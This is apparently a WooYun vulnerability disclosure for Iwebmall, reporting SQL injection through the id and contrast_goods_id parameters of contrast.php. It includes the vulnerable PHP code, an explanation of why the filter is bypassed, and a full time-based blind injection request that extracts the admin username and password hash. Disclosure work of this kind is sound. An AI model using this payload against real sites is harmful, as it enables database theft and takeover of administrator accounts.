当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-087455

漏洞标题:Iwebmall 最新版SQL注入第十一枚(打包两个注入)

相关厂商:Jooyea

漏洞作者: 路人甲

提交时间:2014-12-18 10:56

修复时间:2015-03-18 10:58

公开时间:2015-03-18 10:58

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:10

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-12-18: 积极联系厂商并且等待厂商认领中,细节不对外公开
2015-03-18: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

Iwebmall 最新版SQL注入第十一枚(打包两个注入)

详细说明:

看到wooyun上有人提了几个iweb的漏洞( WooYun: iwebmall商城程序sql注入 ),我来捡捡漏儿吧,希望不要重复。
先把注入点拿出来:www.xxx.com//modules.php?app=contrast&id=&contrast_goods_id=,其中参数id和contrast_goods_id存在注入,程序对id使用shotr_check()进行了过滤,但是这里是数字型的,直接绕过过滤。
这里以id为例进行说明
/modules/goods/contrast.php

无关代码
$id = short_check(get_args("id"));
$goods_ids = substr(short_check(get_args("contrast_goods_id")),0,-1);
if ($goods_ids){
$goods_ids = $goods_ids;
}else if($id) {
$goods_ids = $id;
}else {
trigger_error($m_langpackage->m_page_request_error);
}
$sql=" SELECT shop_id,goods_name,goods_thumb,goods_id,goods_price,brand_id,favpv,cat_id,transport_price,transport_template_price FROM $t_goods WHERE goods_id IN ($goods_ids) ";
$goods_list = $dbo->getRs($sql);
无关代码


可以看到id经过short_check过滤,去看看short_check()。

function short_check($str,$is_hex="") {
$MaxSlen=300;//限制短输入项最多300个字符
if (!get_magic_quotes_gpc()) // 判断magic_quotes_gpc是否打开
{
$str = addslashes($str); // 进行过滤
}
$str = LenLimit($str,$MaxSlen);

$str = str_replace("\'", "", $str);
$str = str_replace("\\", "", $str);
$str = str_replace("#", "", $str);
$str = htmlspecialchars($str);
if (empty($is_hex)) {
$str = cleanHex($str);
}
return trim($str);
}


可以看到,short_check把单引号转义,然后去掉,但是这里可以不用单引号注入。
Iweb没有错误回显,这里用time-based blind进行注入测试。
Payload:

GET /modules.php?app=contrast&id=1)/**/and/**/(select/**/if(ord(mid((select/**/admin_name/**/from/**/
imall_admin_user/**/where/**/admin_id=1/**/limit/**/0,1),1,1))=122,sleep(3),0))/**/and/**/(1)=(1 HTTP/1.1
Host: 192.168.0.107
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:34.0) Gecko/20100101 Firefox/34.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh,zh-cn;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://192.168.0.107/modules.php?app=shop_category_add&id=37
Cookie: AJSTAT_ok_times=8; bdshare_firstime=1414502402741; iweb_hisgoods[15]=1417531949;
iweb_hisgoods[26]=1418653330; [email protected]; iweb_iweb_login=xxxxx%40163.com; PHPSESSID=2sehcgbl6p66ptiop9c0cn3fp5
Connection: keep-alive


测试时:登陆后访问如上的请求,抓包,按上面的payload进行修改即可。
因为是time-based blind 注入,猜测管理员用户名的第一个字母时,若错误,延迟2s左右,如下图

猜测失败副本.jpg


若正确,延迟5s左右,如下图

猜测成功副本.jpg


按上面的方法依次做下去(burp intruder或者自己写个脚本跑),可测试管理员用户名为:admin,密码为: 21232f297a57a5a743894a0e4a801fc3

漏洞证明:

见 详细说明

修复方案:

intval

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝